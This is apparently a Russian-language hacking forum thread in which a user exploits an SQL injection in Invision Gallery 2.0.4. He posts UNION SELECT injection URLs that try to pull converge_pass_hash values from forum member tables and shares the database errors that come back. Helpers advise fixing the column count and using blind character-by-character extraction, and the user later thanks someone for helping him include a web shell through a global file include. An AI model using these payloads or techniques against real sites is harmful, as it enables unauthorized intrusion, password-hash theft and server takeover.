А как считать converge_members_pass и converge_pass_salt из БД (я нашел скуль в invision gallery 2.0.4) ??? Когда ввожу в адрес вот так: site/forum/index.php?act=module&%20%20module=gallery&cmd=slid eshow&show=1,%201%20UNION%20SELECT%20converge_pass _hash%20FROM%20ipbf_members%20LIMIT%201

То выдает ошибку : mySQL query error: SELECT i.file_type, i.masked_file_name, i.caption, i.id, i.directory, m.name, m.id AS mid
FROM ipbf_gallery_images i, ipbf_members m
WHERE album_id=0 AND m.id=i.member_id
ORDER BY date DESC
LIMIT 1, 1 UNION SELECT converge_pass_hash FROM ipbf_members LIMIT 1, 1

SQL error: Incorrect usage of UNION and ORDER BY

Не совпадает количество столбцов до юнион и после, кроме того возможно после order by нельзя употреблять union. В любом случае есть возможность посимвольного перебора.

Спасибо! Но это мне не поможет :)
Я вот еще нашел, но тут тоже не врубаюсь.

http:/site/forum/index.php?act=module&module=gallery&cmd=si&img=207 %20UNION%20SELECT%201,2,3,4,converge_pass_hash%20F ROM%20ipbf_members_converge

И соответственно:
mySQL query error: SELECT id, caption, masked_file_name, directory, media, thumbnail FROM ipbf_gallery_images WHERE album_id=3 AND id > 207 UNION SELECT 1,2,3,4,converge_pass_hash FROM ipbf_members_converge ORDER BY id ASC LIMIT 0,2

SQL error: The used SELECT statements have a different number of columns

Не поможешь?(уже нашел)


Так. Я нашел число столбцов точно, теперь выдает страницу с картинкой. Но почему-то не дает мне хэшей.

Огромнеейшее спасибо Хатабычюю ака }{0tt@БЬ)Ч

Что помог мне заинклюдить шелл =),

+5 так сказать =).

Глобальный инклуд там и даже нулевой байт не нужен.

Мда.Закрыто, раз все сделано.